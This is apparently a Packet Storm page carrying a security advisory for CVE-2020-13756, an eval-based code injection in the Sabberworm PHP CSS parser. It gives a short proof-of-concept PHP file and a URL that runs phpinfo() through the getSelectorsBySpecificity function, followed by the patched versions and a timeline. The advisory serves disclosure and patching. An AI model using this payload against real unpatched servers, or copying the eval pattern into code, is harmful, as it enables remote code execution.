

Sabberworm PHP CSS Code Injection

Authored by [Eldar Marcussen](#)

Posted Jun 3, 2020

Sabberworm PHP CSS parser suffers from a code injection vulnerability. Many versions are affected.

tags | [exploit](#), [php](#)

advisories | [CVE-2020-13756](#)

SHA-256 | [cbff4c11162bd6a8c86cb798bce9beaaaa906f988d1e1211fcc87823ed3ac5](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)[Download](#)

Sabberworm PHP CSS parser - Code injection

Identifiers

* CVE-2020-13756

CVSSv3 score

8.6 - [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L] (<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L&version=3.1>)

Vendor

Sabberworm - <https://github.com/sabberworm/PHP-CSS-Parser>

Product

A Parser for CSS Files written in PHP. Allows extraction of CSS files into a data structure, manipulation of said structure and output as (optimized) CSS.

Affected versions

- All versions prior to the fixed versions listed below

Credit

Eldar Marcussen - [justanotherhacker.com](#)

Vulnerability summary

The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result in remote code execution if the affected function is called with attacker controlled data.

Technical details

The function 'allSelectors' in 'lib/Sabberworm/CSS/CSStList/CSStList.php' on line '64' interpolates untrusted data inside an 'eval()' operation on line '73'. <https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSStList/CSStList.php#L73>

The function 'allSelectors' is called via the function 'getSelectorsBySpecificity' in 'lib/Sabberworm/CSS/CSStList/Document.php' which is the class object returned from the 'parse()' function in 'lib/Sabberworm/CSS/Parser.php'. If an attacker is able to supply or influence the content of the data passed to the 'allSelectors' or 'getSelectorsBySpecificity' functions, the server will execute attacker controlled code.

```
...php
protected function allSelectors($a$Result, $a$SpecificitySearch = null) {
    $aDeclarationBlocks = array();
    $this->allDeclarationBlocks($aDeclarationBlocks);
    foreach ($aDeclarationBlocks as $aBlock) {
        foreach ($aBlock->getSelectors() as $aSelector) {
            if ($aSpecificitySearch == null) {
                $aResult[] = $aSelector;
            } else {
                $aComparison = "{$a$Res = {$aSelector->getSpecificity()}}
$a$SpecificitySearch;";
                eval($aComparison);
                if ($a$Res) {
                    $aResult[] = $aSelector;
                }
            }
        }
    }
}
...

Proof of concept
-----
The following evidence is provided to illustrate the existence and exploitation of this vulnerability:

Save the following code as csspwn.php
...php
<?php
use Sabberworm\CSS\Parser;

$css="*test .help,\nfile,\n.help: hover,\nli.green,\nol li::before {\nfont-family: Helvetica;\n}";

$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('<' . $_GET['n']);
?>
...

Serve the page via 'php -S 0:8888' then open the following URL:
http://localhost:8888/csspwn.php?n=100:phpinfo()
```

Solution

Upgrade to one of the following versions:

1.0.1
2.0.1
3.0.1
4.0.1
5.0.9
5.1.3
5.2.1
6.0.2
7.0.4
8.0.1
8.1.1
8.2.1
8.3.1

Timeline

Date	Status

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946) Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

01-JUN-2020 | Reported to vendor
01-JUN-2020 | Patch available
02-JUN-2020 | Public disclosure

[Login](#) or [Register](#) to add favorites

Spoof (2,166) SUSE (1,444)
SQL Injection (16,102) Ubuntu (8,199)
TCP (2,379) UNIX (9,159)
Trojan (686) UnixWare (185)
UDP (676) Windows (6,511)
Virus (662) Other
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links


[News by Month](#)
[News Tags](#)
[Files by Month](#)
[File Tags](#)
[File Directory](#)


About Us

[History & Purpose](#)
[Contact Information](#)
[Terms of Service](#)
[Privacy Statement](#)
[Copyright Information](#)

Hosting By

[Rokasec](#)

 Follow us on Twitter

 Subscribe to an RSS Feed